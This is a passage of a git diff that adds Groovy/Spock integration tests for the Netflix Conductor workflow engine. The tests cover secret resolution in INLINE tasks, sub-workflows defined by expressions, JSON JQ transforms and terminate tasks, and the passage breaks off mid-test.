    + * - The persisted task INPUT must stay literal ({@code ${workflow.secrets.SECRET}}). + * - The task must execute against the resolved secret value, so INLINE's output (which simply + * echoes {@code $.value1}) must contain the resolved secret. + */ +class InlineSecretSpec extends AbstractSpecification { + + private static final String WORKFLOW_NAME = 'inline_secret_wf' + + def setupSpec() { + System.setProperty("CONDUCTOR_SECRET_SECRET", "s3cr3t") + } + + def cleanupSpec() { + System.clearProperty("CONDUCTOR_SECRET_SECRET") + } + + def setup() { + def wfTask = new WorkflowTask() + wfTask.name = 'inline_task' + wfTask.taskReferenceName = 'inline_task_ref' + wfTask.type = 'INLINE' + wfTask.inputParameters = [ + evaluatorType: 'graaljs', + expression : '(function () { return $.value1; })();', + value1 : '${workflow.secrets.SECRET}' + ] + + def wfDef = new WorkflowDef() + wfDef.name = WORKFLOW_NAME + wfDef.version = 1 + wfDef.tasks = [wfTask] + wfDef.ownerEmail = 'test@example.com' + wfDef.timeoutSeconds = 3600 + wfDef.timeoutPolicy = WorkflowDef.TimeoutPolicy.ALERT_ONLY + metadataService.registerWorkflowDef(wfDef) + } + + def cleanup() { + try { metadataService.unregisterWorkflowDef(WORKFLOW_NAME, 1) } catch (ignored) {} + workflowTestUtil.clearWorkflows() + } + + def "secret is resolved for synchronous INLINE system task while stored input stays literal"() { + when: "the workflow is started" + def wfId = startWorkflow(WORKFLOW_NAME, 1, 'inline-secret-test', [:], null) + + then: "the INLINE task ran synchronously against the resolved secret" + def status = workflowExecutionService.getExecutionStatus(wfId, true) + def inlineTask = status.tasks.find { it.referenceTaskName == 'inline_task_ref' } + inlineTask != null + inlineTask.outputData.result == 's3cr3t' + + and: "the persisted task input keeps the literal secret reference" + inlineTask.inputData.value1 == '${workflow.secrets.SECRET}' + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/InlineSubWorkflowFromExpressionSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/InlineSubWorkflowFromExpressionSpec.groovy new file mode 100644 index 0000000..3e2984e --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/InlineSubWorkflowFromExpressionSpec.groovy @@ -0,0 +1,333 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.test.base.AbstractSpecification + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +/** + * End-to-end test for SubWorkflowTaskMapper's ability to resolve a String expression + * in SubWorkflowParams.workflowDefinition at runtime. + * + * Scenario + * -------- + * A parent workflow first runs a SIMPLE task (wf_builder) whose output contains a + * complete WorkflowDef Map. The SUB_WORKFLOW task that follows has: + * + * subWorkflowParam.workflowDefinition = "${wf_builder.output.result}" // String expression + * + * SubWorkflowTaskMapper resolves the expression via getTaskInputV2, converting the + * String to the actual Map. SubWorkflow.start() then converts that Map to a + * WorkflowDef via ObjectMapper and starts the inline sub-workflow — with no prior + * HTTP registration required. + * + * Complex sub-workflow structure (exercises all four requirements) + * --------------------------------------------------------------- + * DO_WHILE (2 iterations, parameterised by workflow.input.iterations): + * - INLINE (compute): JavaScript — product = iteration × threshold + * - SWITCH (route): JavaScript — product > threshold? + * true branch → SIMPLE integration_task_1 ("high" path, needs worker) + * default → INLINE low_result (auto-executes) + * INLINE (final_result): JavaScript summary after the loop — auto-executes + * + * Parameter mappings are used throughout: workflow.input → DO_WHILE → compute → + * SWITCH → branch tasks; sub-workflow outputParameters flow back to the parent. + * + * With iterations=2, threshold=5 + * -------------------------------- + * Iteration 1: product = 1×5 = 5, 5 > 5 = false → low_result (auto) + * Iteration 2: product = 2×5 = 10, 10 > 5 = true → integration_task_1 (polled) + * After loop: final_result produces {loopsDone: 2, allDone: true} + */ +class InlineSubWorkflowFromExpressionSpec extends AbstractSpecification { + + @Autowired + SubWorkflow subWorkflowTask + + def "Sub-workflow definition from a String expression runs a complex DO_WHILE with SWITCH, INLINE, and SIMPLE tasks"() { + given: "A complex sub-workflow definition built as a runtime Map (DO_WHILE + SWITCH + INLINE + SIMPLE)" + // This Map is exactly what the wf_builder SIMPLE task will return as its output. + // SubWorkflow.start() converts it to a WorkflowDef via ObjectMapper. + def subWfDef = buildComplexSubWorkflowDef() + + and: "A parent workflow whose SUB_WORKFLOW task uses a String expression for workflowDefinition" + def parentWfDef = buildParentWorkflowDef() + + when: "The parent workflow is started with iterations=2 and threshold=5" + def workflowId = workflowExecutor.startWorkflow( + startWorkflowInput(parentWfDef, 'inline-subwf-expr-test', [iterations: 2, threshold: 5])) + + then: "The wf_builder task (integration_task_1) is SCHEDULED" + with(workflowExecutionService.getExecutionStatus(workflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].referenceTaskName == 'wf_builder' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "wf_builder is polled and completed — returns the complex sub-workflow definition" + def pollBuilder = workflowTestUtil.pollAndCompleteTask( + 'integration_task_1', 'test.builder.worker', [result: subWfDef]) + + then: "wf_builder completed and acknowledged" + verifyPolledAndAcknowledgedTask(pollBuilder) + + and: "The async SUB_WORKFLOW system task is executed" + def exprSubWfTask = workflowExecutionService.getExecutionStatus(workflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (exprSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, exprSubWfTask.taskId) + } + + and: "The SUB_WORKFLOW task starts (expression resolved → inline WorkflowDef created)" + conditions.eventually { + with(workflowExecutionService.getExecutionStatus(workflowId, true)) { + tasks.size() == 2 + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.IN_PROGRESS + } + } + + when: "The sub-workflow ID is retrieved from the SUB_WORKFLOW task" + def subWorkflowId = workflowExecutionService.getExecutionStatus(workflowId, true) + .tasks[1].subWorkflowId + + then: "The sub-workflow is RUNNING — the inline WorkflowDef was resolved and started" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + } + + // Iteration 1 (product=5, 5>5=false) runs entirely via system tasks (INLINE + SWITCH + INLINE) + // and advances automatically. Iteration 2 (product=10, 10>5=true) schedules the SIMPLE task. + and: "integration_task_1 is SCHEDULED for the high-value path in iteration 2 (product > threshold)" + conditions.eventually { + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + tasks.any { t -> + t.taskType == 'integration_task_1' && + t.status == Task.Status.SCHEDULED && + t.inputData['category'] == 'high' + } + } + } + + when: "The integration_task_1 for the high-value path (iteration 2) is polled and completed" + def pollHighTask = workflowTestUtil.pollAndCompleteTask( + 'integration_task_1', 'test.high.worker', [label: 'high', done: true]) + + then: "integration_task_1 completed and acknowledged" + verifyPolledAndAcknowledgedTask(pollHighTask) + + // After iteration 2 completes: condition 2 < 2 = false → DO_WHILE exits. + // final_result INLINE then auto-executes and produces {loopsDone: 2, allDone: true}. + and: "The sub-workflow COMPLETES with the expected loop summary output" + conditions.eventually { + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + // outputParameters mapped from final_result INLINE output + output['loopsDone'] == 2 + output['allDone'] == true + } + } + + and: "The parent workflow COMPLETES — SUB_WORKFLOW task succeeded" + conditions.eventually { + with(workflowExecutionService.getExecutionStatus(workflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.COMPLETED + } + } + } + + // ── helpers ────────────────────────────────────────────────────────────── + + /** + * Builds the parent workflow definition programmatically. + * + * Task 1 — wf_builder (SIMPLE, integration_task_1): + * Worker returns the complex sub-workflow definition as output["result"]. + * + * Task 2 — exec (SUB_WORKFLOW): + * subWorkflowParam.workflowDefinition is set to the String expression + * "${wf_builder.output.result}". SubWorkflowTaskMapper resolves this + * expression at runtime to the actual Map and injects it as the inline + * sub-workflow definition. + */ + private static WorkflowDef buildParentWorkflowDef() { + // Task 1: SIMPLE task that produces the sub-workflow definition + def builderTask = new WorkflowTask() + builderTask.name = 'integration_task_1' + builderTask.taskReferenceName = 'wf_builder' + builderTask.type = 'SIMPLE' + builderTask.inputParameters = [ + tp1: '${workflow.input.threshold}', + tp2: '${workflow.input.iterations}' + ] + + // Task 2: SUB_WORKFLOW whose workflowDefinition is a String expression + def subWfTask = new WorkflowTask() + subWfTask.name = 'exec_plan' + subWfTask.taskReferenceName = 'exec' + subWfTask.type = 'SUB_WORKFLOW' + // These inputParameters become the sub-workflow's workflow.input + subWfTask.inputParameters = [ + threshold : '${workflow.input.threshold}', + iterations: '${workflow.input.iterations}' + ] + def subParams = new SubWorkflowParams() + subParams.name = 'complex_dynamic_plan_wf' + subParams.version = 1 + // String expression — resolved by the fixed SubWorkflowTaskMapper + subParams.workflowDefinition = '${wf_builder.output.result}' + subWfTask.subWorkflowParam = subParams + + def wfDef = new WorkflowDef() + wfDef.name = 'test_inline_subwf_expr_parent_wf' + wfDef.version = 1 + wfDef.schemaVersion = 2 + wfDef.ownerEmail = 'test@harness.com' + wfDef.tasks = [builderTask, subWfTask] + wfDef.inputParameters = ['iterations', 'threshold'] + wfDef.outputParameters = [ + loopsDone: '${exec.output.loopsDone}', + allDone : '${exec.output.allDone}' + ] + return wfDef + } + + /** + * Builds the complex sub-workflow definition as a plain Map. + * + * This Map is returned as the output of the wf_builder SIMPLE task. + * SubWorkflow.start() receives it via inputData["subWorkflowDefinition"] and + * converts it to a WorkflowDef via ObjectMapper.convertValue(). + * + * Structure + * --------- + * DO_WHILE (do_loop): + * loopCondition: $.do_loop['iteration'] < $.iters (parametrised by input) + * loopOver: + * INLINE compute — product = iteration × threshold (JavaScript) + * SWITCH route — $.product > $.threshold (JavaScript) + * case "true" → SIMPLE integration_task_1 ref=high_task (needs worker) + * default → INLINE low_result (auto) + * INLINE final_result — {loopsDone: iteration, allDone: true} + * + * inputParameters : ["iterations", "threshold"] + * outputParameters : loopsDone, allDone (mapped from final_result output) + */ + private static Map buildComplexSubWorkflowDef() { + // INLINE: compute product = iteration * threshold + def computeTask = [ + name : 'compute', + taskReferenceName: 'compute', + type : 'INLINE', + inputParameters : [ + evaluatorType: 'javascript', + expression : 'function f() { return $.iteration * $.threshold; } f();', + iteration : '${do_loop.output.iteration}', + threshold : '${workflow.input.threshold}' + ] + ] + + // SIMPLE: executed only when product > threshold (high-value branch) + def highTask = [ + name : 'integration_task_1', + taskReferenceName: 'high_task', + type : 'SIMPLE', + inputParameters : [ + product : '${compute.output.result}', + category: 'high' + ] + ] + + // INLINE: executed when product <= threshold (low-value branch, auto-completes) + def lowResultTask = [ + name : 'low_result', + taskReferenceName: 'low_result', + type : 'INLINE', + inputParameters : [ + evaluatorType: 'javascript', + expression : 'function f() { return {label: "low", product: $.product}; } f();', + product : '${compute.output.result}' + ] + ] + + // SWITCH: routes on product > threshold using JavaScript evaluator + def routeTask = [ + name : 'route', + taskReferenceName: 'route', + type : 'SWITCH', + evaluatorType : 'javascript', + expression : '$.product > $.threshold', + inputParameters : [ + product : '${compute.output.result}', + threshold: '${workflow.input.threshold}' + ], + decisionCases : [ + 'true': [highTask] + ], + defaultCase : [lowResultTask] + ] + + // DO_WHILE: loops $.iters times; iters and threshold come from sub-workflow input + def doLoopTask = [ + name : 'do_loop', + taskReferenceName: 'do_loop', + type : 'DO_WHILE', + inputParameters : [ + iters : '${workflow.input.iterations}', + threshold: '${workflow.input.threshold}' + ], + loopCondition : '''$.do_loop['iteration'] < $.iters''', + loopOver : [computeTask, routeTask] + ] + + // INLINE: summarises results after DO_WHILE exits + def finalResultTask = [ + name : 'final_result', + taskReferenceName: 'final_result', + type : 'INLINE', + inputParameters : [ + evaluatorType: 'javascript', + expression : 'function f() { return {loopsDone: $.loopsDone, allDone: true}; } f();', + loopsDone : '${do_loop.output.iteration}' + ] + ] + + return [ + name : 'complex_dynamic_plan_wf', + version : 1, + schemaVersion : 2, + tasks : [doLoopTask, finalResultTask], + inputParameters : ['iterations', 'threshold'], + outputParameters: [ + loopsDone: '${final_result.output.result.loopsDone}', + allDone : '${final_result.output.result.allDone}' + ], + timeoutPolicy : 'ALERT_ONLY', + timeoutSeconds : 0 + ] + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/JsonJQTransformSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/JsonJQTransformSpec.groovy new file mode 100644 index 0000000..c05b5c4 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/JsonJQTransformSpec.groovy @@ -0,0 +1,229 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +class JsonJQTransformSpec extends AbstractSpecification { + + @Shared + def JSON_JQ_TRANSFORM_WF = 'test_json_jq_transform_wf' + + @Shared + def SEQUENTIAL_JSON_JQ_TRANSFORM_WF = 'sequential_json_jq_transform_wf' + + @Shared + def JSON_JQ_TRANSFORM_RESULT_WF = 'json_jq_transform_result_wf' + + def setup() { + workflowTestUtil.registerWorkflows( + 'simple_json_jq_transform_integration_test.json', + 'sequential_json_jq_transform_integration_test.json', + 'json_jq_transform_result_integration_test.json' + ) + } + + /** + * Given the following input JSON + *{* "in1": {* "array": [ "a", "b" ] + *}, + * "in2": {* "array": [ "c", "d" ] + *}*}* expect the workflow task to transform to following result: + *{* out: [ "a", "b", "c", "d" ] + *}*/ + def "Test workflow with json jq transform task succeeds"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput['in1'] = new HashMap() + workflowInput['in1']['array'] = ["a", "b"] + workflowInput['in2'] = new HashMap() + workflowInput['in2']['array'] = ["c", "d"] + + when: "workflow which has the json jq transform task has started" + def workflowInstanceId = startWorkflow(JSON_JQ_TRANSFORM_WF, 1, + '', workflowInput, null) + + then: "verify that the workflow and task are completed with expected output" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 1 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'JSON_JQ_TRANSFORM' + tasks[0].outputData.containsKey("result") && tasks[0].outputData.containsKey("resultList") + } + } + + /** + * Given the following input JSON + *{* "in1": "a", + * "in2": "b" + *}* using the same query from the success test, jq will try to get in1['array'] + * and fail since 'in1' is a string + */ + def "Test workflow with json jq transform task fails"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput['in1'] = "a" + workflowInput['in2'] = "b" + + when: "workflow which has the json jq transform task has started" + def workflowInstanceId = startWorkflow(JSON_JQ_TRANSFORM_WF, 1, + '', workflowInput, null) + + then: "verify that the workflow and task failed with expected error" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 1 + tasks[0].status == Task.Status.FAILED + tasks[0].taskType == 'JSON_JQ_TRANSFORM' + tasks[0].reasonForIncompletion == 'Cannot index string with string \"array\"' + } + } + + /** + * Given the following invalid input JSON + *{* "in1": "a", + * "in2": "b" + *}* using the same query from the success test, jq will try to get in1['array'] + * and fail since 'in1' is a string. + * + * Re-run failed system task with the following valid input JSON will fix the workflow + *{* "in1": {* "array": [ "a", "b" ] + *}, + * "in2": {* "array": [ "c", "d" ] + *}*}* expect the workflow task to transform to following result: + *{* out: [ "a", "b", "c", "d" ] + *} + */ + def "Test rerun workflow with failed json jq transform task"() { + given: "workflow input" + def invalidInput = new HashMap() + invalidInput['in1'] = "a" + invalidInput['in2'] = "b" + + def validInput = new HashMap() + def input = new HashMap() + input['in1'] = new HashMap() + input['in1']['array'] = ["a", "b"] + input['in2'] = new HashMap() + input['in2']['array'] = ["c", "d"] + validInput['input'] = input + validInput['queryExpression'] = '.input as $_ | { out: ($_.in1.array + $_.in2.array) }' + + when: "workflow which has the json jq transform task started" + def workflowInstanceId = startWorkflow(JSON_JQ_TRANSFORM_WF, 1, + '', invalidInput, null) + + then: "verify that the workflow and task failed with expected error" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 1 + tasks[0].status == Task.Status.FAILED + tasks[0].taskType == 'JSON_JQ_TRANSFORM' + tasks[0].reasonForIncompletion == 'Cannot index string with string \"array\"' + } + + when: "workflow which has the json jq transform task reran" + def reRunWorkflowRequest = new RerunWorkflowRequest() + reRunWorkflowRequest.reRunFromWorkflowId = workflowInstanceId + def reRunTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).tasks[0].taskId + reRunWorkflowRequest.reRunFromTaskId = reRunTaskId + reRunWorkflowRequest.taskInput = validInput + + workflowExecutor.rerun(reRunWorkflowRequest) + + then: "verify that the workflow and task are completed with expected output" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 1 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'JSON_JQ_TRANSFORM' + tasks[0].outputData.containsKey("result") && tasks[0].outputData.containsKey("resultList") + } + } + + def "Test json jq transform task with nested json object succeeds"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput["method"] = "POST" + workflowInput['body'] = new HashMap() + workflowInput['body']['name'] = "Beary Beariston" + workflowInput['body']['title'] = "the Brown Bear" + workflowInput["requestTransform"] = "{name: (.body.name + \" you are \" + .body.title) }" + workflowInput["responseTransform"] = "{result: \"reply: \" + .response.body.message}" + + when: "workflow which has the json jq transform task has started" + def workflowInstanceId = startWorkflow(SEQUENTIAL_JSON_JQ_TRANSFORM_WF, 1, + '', workflowInput, null) + + then: "verify that the workflow and task are completed with expected output" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'JSON_JQ_TRANSFORM' + tasks[0].outputData.containsKey("result") && tasks[0].outputData.containsKey("resultList") + HashMap result1 = (HashMap) tasks[0].outputData.get("result") + result1.get("method") == workflowInput["method"] + result1.get("requestTransform") == workflowInput["requestTransform"] + result1.get("responseTransform") == workflowInput["responseTransform"] + + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'JSON_JQ_TRANSFORM' + tasks[1].outputData.containsKey("result") && tasks[0].outputData.containsKey("resultList") + HashMap result2 = (HashMap) tasks[1].outputData.get("result") + result2.get("name") == "Beary Beariston you are the Brown Bear" + } + } + + def "Test json jq transform task with different json object results succeeds"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput["requestedAction"] = "redeliver" + + when: "workflow which has the json jq transform task has started" + def workflowInstanceId = startWorkflow(JSON_JQ_TRANSFORM_RESULT_WF, 1, + '', workflowInput, null) + + then: "verify that the workflow and task are completed with expected output" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'JSON_JQ_TRANSFORM' + tasks[0].outputData.containsKey("result") && tasks[0].outputData.containsKey("resultList") + assert tasks[0].outputData.get("result") == "CREATE" + + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'DECISION' + assert tasks[1].inputData.get("case") == "CREATE" + + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'JSON_JQ_TRANSFORM' + tasks[2].outputData.containsKey("result") && tasks[0].outputData.containsKey("resultList") + List result = (List) tasks[2].outputData.get("result") + assert result.size() == 3 + assert result.indexOf("redeliver") >= 0 + + tasks[3].status == Task.Status.COMPLETED + tasks[3].taskType == 'DECISION' + assert tasks[3].inputData.get("case") == "true" + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/LambdaAndTerminateTaskSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/LambdaAndTerminateTaskSpec.groovy new file mode 100644 index 0000000..c76199b --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/LambdaAndTerminateTaskSpec.groovy @@ -0,0 +1,284 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.model.WorkflowModel +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class LambdaAndTerminateTaskSpec extends AbstractSpecification { + + @Shared + def WORKFLOW_WITH_TERMINATE_TASK = 'test_terminate_task_wf' + + @Shared + def WORKFLOW_WITH_TERMINATE_TASK_FAILED = 'test_terminate_task_failed_wf' + + @Shared + def WORKFLOW_WITH_LAMBDA_TASK = 'test_lambda_wf' + + @Shared + def PARENT_WORKFLOW_WITH_TERMINATE_TASK = 'test_terminate_task_parent_wf' + + @Shared + def WORKFLOW_WITH_DECISION_AND_TERMINATE = "ConditionalTerminateWorkflow" + + @Autowired + SubWorkflow subWorkflowTask + + def setup() { + workflowTestUtil.registerWorkflows( + 'failure_workflow_for_terminate_task_workflow.json', + 'terminate_task_completed_workflow_integration_test.json', + 'terminate_task_failed_workflow_integration.json', + 'simple_lambda_workflow_integration_test.json', + 'terminate_task_parent_workflow.json', + 'terminate_task_sub_workflow.json', + 'decision_and_terminate_integration_test.json' + ) + } + + def "Test workflow with a terminate task when the status is completed"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput['a'] = 1 + + when: "Start the workflow which has the terminate task" + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_TERMINATE_TASK, 1, + '', workflowInput, null) + + then: "Ensure that the workflow has started and the first task is in scheduled state and workflow output should be terminate task's output" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + reasonForIncompletion.contains('Workflow is COMPLETED by TERMINATE task') + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'LAMBDA' + tasks[0].seq == 1 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'TERMINATE' + tasks[1].seq == 2 + output.size() == 1 + output as String == "[result:[testvalue:true]]" + } + } + + def "Test workflow with a terminate task when the status is failed"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput['a'] = 1 + + when: "Start the workflow which has the terminate task" + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_TERMINATE_TASK_FAILED, 1, + '', workflowInput, null) + + then: "Verify that the workflow has failed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + reasonForIncompletion == "Early exit in terminate" + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'LAMBDA' + tasks[0].seq == 1 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'TERMINATE' + tasks[1].seq == 2 + output + def failedWorkflowId = output['conductor.failure_workflow'] as String + with(workflowExecutionService.getWorkflowModel(failedWorkflowId, true)) { + status == WorkflowModel.Status.COMPLETED + input['workflowId'] == workflowInstanceId + tasks.size() == 1 + tasks[0].taskType == 'LAMBDA' + } + } + } + + def "Test workflow with a terminate task when the workflow has a subworkflow"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput['a'] = 1 + + when: "Start the workflow which has the terminate task" + def workflowInstanceId = startWorkflow(PARENT_WORKFLOW_WITH_TERMINATE_TASK, 1, + '', workflowInput, null) + + and: "the sub workflow system task is executed" + def lambdaSubWfTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (lambdaSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, lambdaSubWfTask.taskId) + } + + then: "verify that the workflow has started and the tasks are as expected" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[0].seq == 1 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'LAMBDA' + tasks[1].referenceTaskName == 'lambdaTask1' + tasks[1].seq == 2 + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'LAMBDA' + tasks[2].referenceTaskName == 'lambdaTask2' + tasks[2].seq == 3 + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[3].seq == 4 + tasks[4].status == Task.Status.IN_PROGRESS + tasks[4].taskType == 'SUB_WORKFLOW' + tasks[4].seq == 5 + tasks[5].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'WAIT' + tasks[5].seq == 6 + } + + when: "subworkflow is retrieved" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def subWorkflowId = workflow.getTaskByRefName("test_terminate_subworkflow").subWorkflowId + sweep(subWorkflowId) + + then: "verify that the sub workflow is RUNNING, and the task within is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_3' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "Complete the WAIT task that should cause the TERMINATE task to execute" + def waitTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).tasks[5] + waitTask.status = Task.Status.COMPLETED + workflowExecutor.updateTask(new TaskResult(waitTask)) + + then: "Verify that the workflow has completed and the SUB_WORKFLOW is not still IN_PROGRESS (should be SKIPPED)" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 7 + reasonForIncompletion.contains('Workflow is COMPLETED by TERMINATE task') + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[0].seq == 1 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'LAMBDA' + tasks[1].referenceTaskName == 'lambdaTask1' + tasks[1].seq == 2 + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'LAMBDA' + tasks[2].referenceTaskName == 'lambdaTask2' + tasks[2].seq == 3 + tasks[3].status == Task.Status.CANCELED + tasks[3].taskType == 'JOIN' + tasks[3].seq == 4 + tasks[4].status == Task.Status.CANCELED + tasks[4].taskType == 'SUB_WORKFLOW' + tasks[4].seq == 5 + tasks[5].status == Task.Status.COMPLETED + tasks[5].taskType == 'WAIT' + tasks[5].seq == 6 + tasks[6].status == Task.Status.COMPLETED + tasks[6].taskType == 'TERMINATE' + tasks[6].seq == 7 + } + + and: "ensure that the subworkflow is terminated" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.TERMINATED + tasks.size() == 1 + reasonForIncompletion.contains('Parent workflow has been terminated with reason: Workflow is COMPLETED by' + + ' TERMINATE task') + tasks[0].taskType == 'integration_task_3' + tasks[0].status == Task.Status.CANCELED + } + } + + def "Test workflow with a terminate task within a decision branch"() { + given: "workflow input" + Map workflowInput = new HashMap() + workflowInput['param1'] = 'p1' + workflowInput['param2'] = 'p2' + workflowInput['case'] = 'two' + + when: "The workflow is started" + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_DECISION_AND_TERMINATE, 1, '', + workflowInput, null) + + then: "verify that the workflow is in RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + 